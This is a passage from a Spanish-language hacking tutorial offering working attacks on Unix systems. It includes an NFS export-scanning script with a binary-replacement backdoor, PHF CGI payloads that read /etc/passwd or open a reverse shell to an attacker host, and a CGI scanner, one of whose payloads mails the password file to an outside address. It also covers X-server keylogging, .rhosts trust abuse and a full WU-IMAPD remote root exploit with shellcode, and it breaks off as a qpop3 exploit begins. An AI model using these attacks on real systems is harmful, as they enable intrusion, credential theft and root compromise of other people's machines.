print(&#8220;Usage: getdomain [inputfile] [search]\n\n&#8221;);<br />
print(&#8220;Where [search] is one of \&#8217;com\&#8217;, \&#8217;edu\&#8217;, \&#8217;gov\&#8217;, \&#8217;mil\&#8217; or \&#8217;net\&#8217;.\n\n&#8221;);<br />
exit(0);<br />
}<br />
�<br />
0;<br />
�<br />
&#8212;&#8212;&#8212;-/end of getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Para utilizarlo habeis de disponer de listas de maquinas que se pueden<br />
obtener facilmente por ftp de rs.internic.net con las extensiones:</p>
<p>com.zone.gz<br />
edu.zone.gz<br />
gov.zone.gz<br />
mil.zone.gz<br />
net.zone.gz<br />
org.zone.gz</p>
<p>Despues de descomprimirlas con gunzip ejecutamos el script asi:</p>
<p>$&gt;perl getdomain.pl com.zone com &gt; com.all</p>
<p>y lo mismo con las otras zonas&#8230;</p>
<p>Luego  hay  que  usar  otro  script llamado  cmount.pl  para  ver  los<br />
directorios exportados. Aqui lo teneis</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cmount.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#/usr/bin/perl -w<br />
#<br />
# Check NFS exports of hosts listed in file.<br />
# (Hosts are listed, once per line with no additional whitespaces.)<br />
#<br />
# <a href="mailto:ii@dormroom.pyro.net">ii@dormroom.pyro.net</a> &#8211; 2/27/97.</p>
<p># Assign null list to @URLs which will be added to later.<br />
my(@result) =3D ();<br />
my(@domains) =3D ();<br />
my($program) =3D &#8220;showmount -e &#8220;;</p>
<p># Pull off filename from commandline. If it isn&#8217;t defined, then assign default.<br />
my($DomainFilename) =3D shift;<br />
$DomainFilename =3D &#8220;domains&#8221; if !defined($DomainFilename);</p>
<p># Do checking on input.<br />
die(&#8220;mountDomains: $DomainFilename is a directory.\n&#8221;) if (-d<br />
$DomainFilename);<br />
�<br />
# Open $DomainFilename.<br />
open(DOMAINFILE, $DomainFilename) or<br />
die(&#8220;mountDomains: Cannot open $DomainFilename for input.\n&#8221;);<br />
�<br />
while (&lt;DOMAINFILE&gt;) {<br />
chomp($_);<br />
print &#8220;Now checking: $_&#8221;;</p>
<p># Note difference in program output capture from &#8220;geturl.pl&#8221;.�<br />
open (EXECFILE, &#8220;$program $_ |&#8221;);<br />
@execResult =3D &lt;EXECFILE&gt;;<br />
next if (!defined($execResult[0]));<br />
if ($execResult[0] =3D~ /^Export/) {<br />
print &#8221; &#8211; Export list saved.&#8221;;<br />
open (OUTFILE, &#8220;&gt;$_.export&#8221;);<br />
foreach (@execResult) {<br />
print OUTFILE;<br />
}<br />
close (OUTFILE);<br />
}<br />
close(EXECFILE);<br />
print &#8220;\n&#8221;;<br />
}<br />
�<br />
# We are done. Close all files and end the program.<br />
close (DOMAINFILE);</p>
<p>0;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; end of cmount.pl<br />
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.</p>
<p>#&gt;showmount -e objetivo.net<br />
/    (everyone)<br />
/usr (everyone)</p>
<p>=A1Magn=EDfico! (Pero  no caera  esa breva) porque  podriamos comenzar<br />
mountando</p>
<p>#&gt;mount -nt nfs objetivo.net:/ /mnt</p>
<p>Pero  existe una  excelente herramienta  llamada nfsshell  escrita por<br />
Leendert van Door que podreis encontrar en</p>
<p><a href="ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz">ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz</a></p>
<p>que nos proporciona  un cliente robusto llamado nfs  que funciona como<br />
cliente  ftp  y  permite  manipular facilmente  cuakquier  sistema  de<br />
archivos remotos. Una vez instalado, haced en un xterm</p>
<p>#&gt;nfs</p>
<p>y  aparecera  el  prompt  nfs&gt;.   Si  haceis  help  vereis  todas  las<br />
posibilidades=2E Bueno, al grano:</p>
<p>nfs&gt;host objetivo.net (indica el host que queremos montar)</p>
<p>Luego miramos los archivos exportados</p>
<p>nfs&gt;export<br />
/     everyone<br />
/usr  everyone</p>
<p>Ahora tenemos que montar / para acceder al sistema de archivos con</p>
<p>nfs&gt; mount /</p>
<p>Podemos ver el status de la conexion y el UID usado cuando se monto el<br />
archivo con</p>
<p>nfs&gt;status<br />
=2E..</p>
<p>Como  ya tenemos  el  sistema  de archivos  montado  posemos mirar  el<br />
contenido de /etc/passwd:</p>
<p>nfs&gt;cd /etc</p>
<p>nfs&gt; cat passwd<br />
=2E..</p>
<p>El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,<br />
pero  generalmente estaran &#8220;sombreados&#8221;  (shadowed passwords)  con una<br />
&#8220;x&#8221;  (generalmente)   en  el  segundo  campo  de   cada  registro.  No<br />
importa. Busquemos un  usuario daemon o bin. Si  podemos acceder a los<br />
binarios, =A1asunto zanjado! Suponfamos que existe el registro:</p>
<p>bin:x:2:2::/usr/bin</p>
<p>Vamos a montar /usr y cambiar nuestro UID y GID al de bin:</p>
<p>nfs&gt;mount /usr</p>
<p>nfs&gt;uid 2</p>
<p>nfs&gt;gid 2</p>
<p>(y lo comprobamos con nfs&gt;status)</p>
<p>A  partir de  ahora,  tenemos los  privilegios  de bin  en el  sistema<br />
remoto. Ahora podemos  crear un canal trasero con  el siguiente script<br />
en  nuestro sistema (darkstar.us.es)  y llamarlo  in.ftpd en  el mismo<br />
lugar donde  activamos el cliente nfs  (abrimos un xterm  y hacemos vi<br />
in.ftpd  en el  mismo directorio  donde  lanzamos el  cliente nfs.  El<br />
contenido del script sera:</p>
<p>#!/bin/sh<br />
/usr/&#8212;ruta hasta&#8211;/bin/xterm -display darkstar.us.es:0.0 &amp;</p>
<p>luego lo salvamos y le damos permisos de ejecucion.</p>
<p>Despues volvemos al otro xterm y hacemos</p>
<p>nfs&gt;cd /sbin</p>
<p>nfs&gt;put in.ftp</p>
<p>De   esta  manera   copiamos   in.ftpd  a   /sbin,  reescribiendo   el<br />
original.  Entonces  desde la  otra  xterm  permitimos a  objetivo.net<br />
conectarse a nuestro servidor X:</p>
<p>#&gt;xhost +objetivo.net<br />
=2E..</p>
<p>#&gt;ftp objetivo.net</p>
<p>Lo  que  sucedera  es  que  aparecera  en  nuestro  sistema  un  xterm<br />
perteneciente  al  administrador de  objetivo.net,  pues  al llamar  a<br />
in.ftpd desde inetd, este  ejecutara nuestro script con privilegios de<br />
root.<br />
3.2.2 NIS</p>
<p>Ya hemos hablado del NIS,  anta=F1o conocido como Yellow Pages (de ahi<br />
el  yp&#8230;).  Cuando  hacemos  rpcinfo  -p objetivo.net  y  aparece  un<br />
servidor ypserv ya estamos seguros  de que el NIS esta funcionando. Si<br />
mediante algun artificio tuvieramos una  cuenta en una maquina con NIS<br />
tendriamos  la posibilidad  de  acceder al  archivo /etc/passwd.  Para<br />
saber si en una maquina  donde tenemos cuenta funciona NIS, hacemos ps<br />
ax y si  aparece el conocido ypserv =A1ya esta!  En tal caso podriamos<br />
usar el comando ypcat:</p>
<p>$&gt;ypcat /etc/passwd&gt; ~/passwd</p>
<p>para copiarnos  el /etc/passwd  en nuestro home.  En caso de  no tener<br />
privilegios  para  ejecutar ypcat  o  si no  esta,  se  puede usar  el<br />
programa pwget (este  lo veremos en el capitulo  4 destinado al acceso<br />
local). Ademas existe  un programa llamado ypx para  extraer los mapas<br />
de un servidor NIS y lo podeis encontrar en:</p>
<p><a href="http://morehouse.org/hin/root/ypx.tgz">http://morehouse.org/hin/root/ypx.tgz</a></p>
<p>Su uso es muy sencillo:</p>
<p>ypx -m passwd nombre_dominio_NIS<br />
3.2.3 Inseguridades en scripts CGI</p>
<p>La  interfaz CGI  (Common Gateway  Interface) permite  la comunicacion<br />
entre programas cliente y un servidor que emplea el protocolo http. El<br />
protocolo de comunicaciones  usado por el script CGI  y el servidor es<br />
el TCP/IP usando por defecto  el puerto 80. Las vulnerabilidades no se<br />
deben a fallos  de CGI, sino a errores en  las especificaciones HTTP y<br />
programas del  sistema. La  parte fundamental de  un script CGI  es un<br />
documento  HTML llamado  FORM (Formulario).  Los scripts  CGI deberian<br />
realizar  el  filtrado  de   los  contenidos  del  campo  &lt;INPUT&gt;  del<br />
formulario  (entradas  de  usuarios),  pero  en muchos  casos,  no  lo<br />
hacen&#8230;con lo cual es posible ganar  un acceso ;-D.  PHF es un script<br />
CGI  estandar en  las primeras  versiones del  servidor Apache  y NCSA<br />
HTTPD. Aunque  parezca raro, todavia  hay sistemas que  presentan esta<br />
vulnerabilidad, por eso la cuento.  El programa de marras no procesaba<br />
ni  validaba adecuadamente  la entrada.  PHF aceptaba  el  caracter de<br />
newline (%0a) y  ejecutaba cualquier mandato posterior con  la UID del<br />
usuario que estuviera ejecutando el servidor (generalmente nobody). El<br />
codigo utilizado  era el siguiente,  que puede lanzarse  desde nuestro<br />
navegador (lynx para los castizos; Netscape para los modelnos):</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd</a></p>
<p>De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;<br />
pero si estan sombreados habra que pensar en otra cosita:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0</a></p>
<p>El  servidoe web remoto  ejecutara un  xterm y  lo montara  en nuestro<br />
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla<br />
0. Como esta  activada la  opcion -ut, el  sistema no  registrara esta<br />
actividad.  Hay numerosos scripts  para buscar sistema con scripts CGI<br />
y PHF como vereis a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cgi scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/* This source is absolutely free to use and modify at you own risk, please<br />
do not change some chars and say that this program is yours or i&#8217;ll die the<br />
next day&#8230; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Pay attention, this file is for research purpose only, do not<br />
use it into any hacking way. Is possible to be logged while running the<br />
program, so PAY ATTENTION!.<br />
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.</p>
<p>Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!<br />
I want also give a big thanks to:</p>
<p>Goku: my linux guru<br />
SMaster: my prezident<br />
MaNdraKe: and his future girlfriends<br />
Pr3dator: for his help on linux (go slower on cars!:pPp)<br />
PhoenYx: the best italian hacker<br />
Berk: a cool friend and a wannabe hacker<br />
xOANON: the best cracker all around<br />
Golem: for his bot, what about setting it on #softpj? <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Spaceone: a good friend<br />
TanK_GirL: a future hacker! (i hope)<br />
RootShell: for many source and ideas</p>
<p>I want also give a big fuck to:</p>
<p>Telecom Italia: u must die!<br />
WarLords: Good ircwarriors but stupid people<br />
Alexb: pay attention at your fuckin&#8217; shells<br />
Lamers: try to be more newbies!</p>
<p>by |scacco|</p>
<p>Add-on By Dark Schneider</p>
<p>*/</p>
<p>#include &lt;sys/stat.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;termios.h&gt;                 �<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;fcntl.h&gt;<br />
#include &lt;sys/syslog.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/times.h&gt;           �<br />
#include &lt;sys/time.h&gt;                         �<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;sys/signal.h&gt;<br />
#include &lt;arpa/inet.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#define MAXSTR 12</p>
<p>main (int argc, char *argv[])<br />
{<br />
struct sockaddr_in sin;<br />
/* int outsocket, serv_len, len,c,outfd; */<br />
/* struct hostent *nametocheck; */<br />
/* struct in_addr outgoing; */<br />
struct hostent *hp;<br />
char host[100], buffer[1024], hosta[1024],FileBuf[8097];<br />
int sock, i=3D0, X;<br />
char  *stringhe[MAXSTR];<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
stringhe[i]=3D(char *) malloc(sizeof(char)*100);<br />
}<br />
�<br />
/* Classic PHF bug&#8230; It still Works! */<br />
�<br />
stringhe[0]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n&#8221;;<br />
�<br />
/* test-cgi bug, possible to view documents location */<br />
�<br />
stringhe[1]=3D&#8221;GET /cgi-bin/test-cgi?*\n&#8221;;<br />
�<br />
/* htmlscript bug, a good language that can us have passwd <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  */<br />
�<br />
stringhe[2]=3D&#8221;GET /cgi-bin/htmlscript?../../../../etc/passwd\n&#8221;;<br />
�<br />
/* view-source bug, some httd use this&#8230; */<br />
�<br />
stringhe[3]=3D&#8221;GET /cgi-bin/view-source?../../../../etc/passwd\n&#8221;;<br />
�<br />
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */<br />
�<br />
stringhe[4]=3D&#8221;GET /cgi-bin/wrap?/../../../../../etc\n&#8221;;<br />
�<br />
/* Campas allow you to get the passwd on NCSA server 1.2 */<br />
�<br />
stringhe[5]=3D&#8221;GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n&#8221;;<br />
�<br />
/* With pfdisplay &amp; webdist is possible to get the passwd on IRIX 6.2 systems */<br />
�<br />
stringhe[6]=3D&#8221;GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n&#8221;;<br />
�<br />
stringhe[7]=3D&#8221;GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n&#8221;;</p>
<p>/* With aglimpse is possible to mail the password file anywhere <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */<br />
�<br />
stringhe[8]=3D&#8221;GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\&lt;/etc/passwd;eval$CMD;echo\n&#8221;;<br />
�<br />
/* An interesting variant for phf*/</p>
<p>stringhe[9]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n&#8221;;</p>
<p>stringhe[10]=3D&#8221;GET /cgi-bin/php.cgi?/etc/passwd\n&#8221;;</p>
<p>/* a new test-cgi but the bug is the same <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */</p>
<p>stringhe[11]=3D&#8221;GET /cgi-bin/nph-test-cgi?*\n&#8221;;<br />
�<br />
while(fgets(hosta,100,stdin))<br />
{<br />
if(hosta[0] =3D=3D &#8216;\0&#8242;)<br />
break;<br />
hosta[strlen(hosta) -1] =3D &#8216;\0&#8242;;<br />
write(1,hosta,strlen(hosta)*sizeof(char));<br />
write(1,&#8221;\n&#8221;,sizeof(char));<br />
�<br />
hp =3D gethostbyname (hosta);<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
bzero((char*) &amp;sin, sizeof(sin));<br />
bcopy(hp-&gt;h_addr, (char *) &amp;sin.sin_addr, hp-&gt;h_length);<br />
sin.sin_family =3D hp-&gt;h_addrtype;<br />
sin.sin_port =3D htons(80);<br />
sock =3D socket(AF_INET, SOCK_STREAM, 0);<br />
X=3Dconnect(sock,(struct sockaddr *) &amp;sin, sizeof(sin));<br />
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));�<br />
while((X=3Dread(sock,FileBuf,8096))!=3D0)<br />
write(1,FileBuf,X);<br />
�<br />
}</p>
<p>}<br />
printf(&#8220;\nScacco&amp;Dark Schneider &#8211; S0ft Pr0ject 98&#8243;);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/end CGI scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Hay otros pero este ya vale.</p>
<p>Bueno&#8230;y si el  administrador ha eliminado las X?  Entonces habra que<br />
recurrir a un canal trasero. En  la mayor parte de los servidores unix<br />
hay  instalado un  cliente telnet  sin restricciones  de  empleo. Para<br />
conseguir  nuestro  canal  trasero  realizaremos un  &#8220;telnet  inverso&#8221;<br />
utilizando  la herramienta  netcat  para activar  escuchas en  nuestro<br />
propio  sistema. Debemos  ejecutar los  siguientes comandos  en sendos<br />
xterms de nuestra maquina:</p>
<p>(xterm1)#&gt;nc -l -n -v -p 80</p>
<p>(xterm2)#&gt;nc -l -n -v -p 25</p>
<p>Hemos de asegurarnos de que no hay demonio alguno escuchando por tales<br />
puertos  en nuestro  sistema  y si  los hay  haced  un ps  ax y  luego<br />
matadlos  con kill  -9  &lt;pid&gt;. Los  dos  mandatos nc  escuchan en  los<br />
puertos 80  y 25 de nuestra  maquina. Para iniciar  el telnet inverso,<br />
ejecutamos en el servidor objetivo desde nuestro navegador:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025</a></p>
<p>que equivaldria a hacer en la maquina remota:</p>
<p>/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25</p>
<p>El  mandato /bin/telnet darkstar_IP  80 se  conecta a  nuestra escucha<br />
netcat  en   el  puerto  80.  Aqui  es   donde  escribiremos  nuestras<br />
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se<br />
introduciran  en  /bin/sh.  Posteriormente,  el  resultadode  nuestros<br />
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un<br />
telnet inverso  que se ejecuta  en dos ventanas separadas.  Se escogen<br />
los  puertos 80  y 25  porque son  servicios comunes  que generalmente<br />
permiten  los  cortafuegos.  Existen   otros  modos  de  explotar  las<br />
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.</p>
<p>3.2.4 Vulnerabilidades de servidores X</p>
<p>Muchos   servidores  X   ejecutan  de   forma   predeterminada  xhost+<br />
permitiendo que cualquier usuario local  o remoto acceda al servidor X<br />
sin autenticarse  y muchos administradores ni se  percatan. Existe una<br />
utilidad llamada xscan que podeis encontrar en</p>
<p><a href="http://morehouse.org/hin/root/xscan.tar.gz">http://morehouse.org/hin/root/xscan.tar.gz</a></p>
<p>que  permite   identificar  los  servidores  X   que  tienen  activado<br />
xhost+. Una vez instalada hacemos</p>
<p>$&gt;xscan objetivo.net<br />
=2E..<br />
Connecting to objetivo.net&#8230;on port 6000<br />
connected<br />
Host objetivo.net is running X<br />
Starting keyboard logging of host objetivo.net<br />
:0.0 to file KEYLOGobjetivo.net:0.0.</p>
<p>A  partir de  ahora, cualquier  pulsacion  de teclas  realizada en  la<br />
consola  de  la  maquina  remota  quedara  registrada  en  el  archivo<br />
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro<br />
podemos ver lo que el usuario esta escribiendo en el teclado:</p>
<p>$&gt;tail -f KEYLOGobjetivo.net:0.0<br />
su -<br />
[shift_L * Iamowned (Shift_R)]</p>
<p>Asi vemos que el usuario ha ejecutado el comando su con el password de<br />
root &#8220;Iamowned&#8221; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )).<br />
3.3 Mala configuracion de hosts.equiv y .rhosts</p>
<p>En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de<br />
datos general  que controla el acceso  a nivel de hosts,  y el fichero<br />
/home/usuario/.rhosts  controla el  acceso  a la  maquina  a nivel  de<br />
usuario. Las maquinas cuyos  nombres encontremos en /etc/hosts.equiv o<br />
en ~/.rhosts  se llaman  &#8220;trusted hosts&#8221; o  maquinas de  confianza por<br />
parte del objetivo. Cuando  intentamos conectarnos a la maquina remota<br />
mediante  rlogin (la  maquina remota  ha de  tener el  puerto  513 tcp<br />
rlogin activo)</p>
<p>$&gt;rlogin -l objetivo.net</p>
<p>el demonio rlogin  busca en /etc/hosts.equiv por el  nombre de nuestra<br />
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos<br />
intentarlo haciendo</p>
<p>~&gt;rlogin -l usuario objetivo.net</p>
<p>entonces  rlogin busca  el nombre  de  nuestra maquina  en el  fichero<br />
/home/usuario/.rhost y  si la  encuentra, tambien hemos  conseguido el<br />
acceso.  Un  antiguo &#8220;bug&#8221; de rlogin permitia  conseguir una rootshell<br />
haciendo</p>
<p>$&gt;rlogin objetivo.net -l -froot.</p>
<p>Si  una maquina  tiene  el rlogin  activado  (y no  tiene filtros  tcp<br />
warppers)   debemos  intentar   escribir  una   &#8220;+&#8221;  en   ~/.rhosts  o<br />
/etc/hosts.equiv.  Muchos  ya vienen  con  la  entrada  &#8220;+&#8221; en  dichos<br />
archivos por defecto  y eso significa que cualquier  otra maquina sera<br />
un &#8220;trusted  hosts&#8221;. Voy a  ilustrar esto con  un ejemplito de  lo mas<br />
interesante. Supongamos  que sabemos  que en nuestro  sistema objetivo<br />
estan activos los servicios rlogin, mountd y nfs. Si hacemos</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale</p>
<p>/home</p>
<p>Lo primero que haremos sera crear un directorio para montar /home</p>
<p>#&gt;mkdir patapalo</p>
<p>#&gt;mount -nt nfs objetivo.net:/home /patapalo</p>
<p>#&gt;ls -la /patapalo<br />
Imaginemos que encontramos la siguiente entrada con UID=3D102:</p>
<p>1 drwx&#8212;&#8212; 15 102 100   1024 Jul 8 18:57 skywalker/</p>
<p>Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:</p>
<p>#&gt;echo &#8220;skywalker::102:2::/patapalo: /bin/shi&#8221; &gt;&gt; /etc/passwd</p>
<p>#&gt;su &#8211; skywalker<br />
(sin contrasenya)</p>
<p>Una vez como skywalker, podemos hacer:</p>
<p>#&gt;echo &#8220;+ +&#8221; &gt; skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)</p>
<p>#&gt;cd /</p>
<p>#&gt;rlogin -l skywalker objetivo.net<br />
Wellcome to objetivo.net<br />
=2E..</p>
<p>objetivo.net:~$&gt;</p>
<p>=A1Ya tenemos cuenta en el sistema!</p>
<p>Para desmontar el archivo, salimos del directorio y hacemos</p>
<p>#&gt;umount /patapalo</p>
<p>De todos  modos es muy raro  que pasen estas  cosas&#8230;los tcp warppers<br />
deberian  tener  bien  configurados  sus  ficheros  de  hosts.allow  y<br />
hosts.deny&#8230;pero por  defecto, al instalarse  automaticamente los tcp<br />
warppers en  el sistema (linux  p.ej.)  los ficheros  de configuracion<br />
mencionados estan vacios de reglas de acceso.<br />
3.4 Exploits</p>
<p>Los exploits son procedimientos que nos permiten aprovechar (explotar)<br />
un fallo o vulnerabilidad en  ciertos programas que se ejecutan con el<br />
bit setuid activado y que nos permiten acceder al sistema generalmente<br />
con una rootshell. Si bien la  mayor parte de las veces se utilizan en<br />
acceso  local como  procedimiento para  acceder a  los  privilegios de<br />
root, tambien se usan para el acceso remoto utilizando alguna utilidad<br />
de red como telnet o netcat.</p>
<p>La mayor parte de los  exploits se basan en desbordamientos del buffer<br />
de  la  pila(stack  buffer  overflow).  En el  excelente  articulo  de<br />
AlephOne aparecido en  noviembre de 1996 en el Phrack  (49, file 14) y<br />
titulado  &#8220;Smashing  the  Stack   for  Fun  and  Profit&#8221;  se  describe<br />
minuciosamente  como es  posible desbordar  el buffer  de la  pila del<br />
proceso  y establecer  la direccion  de  retorno para  que se  ejecute<br />
codigo  arbitrario, generalmente  una rutina  en ensamblador  (a veces<br />
llamada  &#8220;egg&#8221;) que  ejecuta /bin/sh  con  privilegio de  root (si  el<br />
programa  tenia  el  bit  setuid  activado).  Esta  vulnerabilidad  la<br />
presentan  en  principio  los  programas  que  llaman  a  determinadas<br />
funciones C tales como strcpy(), strcat() y sprintf() que no verifican<br />
el tama=F1o de los arrays. Hay  un articulo muy sencillo de leer (o lo<br />
habia)  en <a href="http://hello.to/hacker_novatos">http://hello.to/hacker_novatos</a> escrito  por RaiSe  para los<br />
neofitos, pero debeis de tener  al menos unas nociones de programacion<br />
C,  la  distribucion en  la  memoria  de un  proceso  unix  y algo  de<br />
ensamblador (CPU Intel  y linux como so). Yo por  mi me enrrollaria un<br />
poco con  el tema  porque es apasionante  y es  relativamente sencillo<br />
escribir nuestros  propios exploits&#8230;pero  eso sera otra  historia si<br />
Dios quiere  que disponga de tiempo  para hacer una  introduccion a la<br />
realizacion de exploits. Basta decir que si visitamos la pagina</p>
<p><a href="http://www.rootshell.com">http://www.rootshell.com</a></p>
<p>y buscamos en  &#8220;exploits&#8221; encontraremos de todo. En  cada uno de ellos<br />
se explica el  modus operandi para aplicarlos. Yo  he recogido algunos<br />
recientitos para Linuxy los pego a continuacion:</p>
<p>**Uno para imap, del 98</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/*</p>
<p>THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW<br />
�<br />
Linux WU-IMAPD 4.1 remote root exploit (4/98)<br />
by   ndubee||plaguez<br />
<a href="mailto:dube0866@eurobretagne.fr">dube0866@eurobretagne.fr</a></p>
<p>Usage:   ./imapx &lt;offset&gt;<br />
�<br />
where offset =3D -500..500  (brute force if 0 doesnt work)</p>
<p>Credits:<br />
- Cheez Whiz (original x86 BSD exploit)<br />
- #!w00w00 and #!ADM</p>
<p>Note:<br />
if you plan to port this to other OS., make sure the<br />
shellcode doesn&#8217;t contain lower case chars since imapd<br />
will toupper() the shellcode, thus fucking it up.</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;limits.h&gt;<br />
#include &lt;string.h&gt;<br />
#define BUFLEN 2048<br />
#define NOP 0&#215;90</p>
<p>char shell[] =3D<br />
/*<br />
jmp 56<br />
popl %esi<br />
movl    %esi,%ebx<br />
movl    %ebx,%eax<br />
�<br />
addb    $0&#215;20,0&#215;1(%esi)<br />
addb    $0&#215;20,0&#215;2(%esi)<br />
addb    $0&#215;20,0&#215;3(%esi)<br />
addb    $0&#215;20,0&#215;5(%esi)<br />
addb    $0&#215;20,0&#215;6(%esi)<br />
�<br />
movl    %esi,%edi<br />
addl    $0&#215;7,%edi<br />
xorl    %eax,%eax<br />
stosb   %al,%es:(%edi)<br />
movl    %edi,%ecx<br />
movl    %esi,%eax<br />
stosl   %eax,%es:(%edi)<br />
movl    %edi,%edx<br />
xorl    %eax,%eax<br />
stosl   %eax,%es:(%edi)<br />
movb    $0&#215;8,%al<br />
addb    $0&#215;3,%al<br />
int     $0&#215;80<br />
xorl    %ebx,%ebx<br />
movl    %ebx,%eax<br />
incl    %eax<br />
int     $0&#215;80<br />
call   -61<br />
.string \&#8221;/BIN/SH\&#8221;<br />
.byte   0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff  ;markup</p>
<p>*/</p>
<p>&#8220;\xeb\x38\x5e\x89\xf3\x89\xd8\x80&#8243;<br />
&#8220;\x46\x01\x20\x80\x46\x02\x20\x80&#8243;<br />
&#8220;\x46\x03\x20\x80\x46\x05\x20\x80&#8243;<br />
&#8220;\x46\x06\x20\x89\xf7\x83\xc7\x07&#8243;<br />
&#8220;\x31\xc0\xaa\x89\xf9\x89\xf0\xab&#8221;<br />
&#8220;\x89\xfa\x31\xc0\xab\xb0\x08\x04&#8243;<br />
&#8220;\x03\xcd\x80\x31\xdb\x89\xd8\x40&#8243;<br />
&#8220;\xcd\x80\xe8\xc3\xff\xff\xff\x2f&#8221;<br />
&#8220;\x42\x49\x4e\x2f\x53\x48\x00&#8243;;</p>
<p>void<br />
main (int argc, char *argv[])<br />
{<br />
char buf[BUFLEN];<br />
int offset=3D0,nop,i;<br />
unsigned long esp;</p>
<p>fprintf(stderr,&#8221;usage: %s &lt;offset&gt;\n&#8221;, argv[0]);<br />
�<br />
nop =3D 403;<br />
esp =3D 0xbffff520;<br />
if(argc&gt;1)<br />
offset =3D atoi(argv[1]);</p>
<p>memset(buf, NOP, BUFLEN);<br />
memcpy(buf+(long)nop, shell, strlen(shell));<br />
�<br />
for (i =3D 512; i &lt; BUFLEN &#8211; 4; i +=3D 4)<br />
*((int *) &amp;buf[i]) =3D esp + (long) offset;</p>
<p>printf(&#8220;* AUTHENTICATE {%d}\r\n&#8221;, BUFLEN);<br />
for (i =3D 0; i &lt; BUFLEN; i++)<br />
putchar(buf[i]);<br />
�<br />
printf(&#8220;\r\n&#8221;);</p>
<p>return;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8211;/end imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para qpop3</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin qpop3 exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
/*<br />
* !Hispahack Research Team<br />
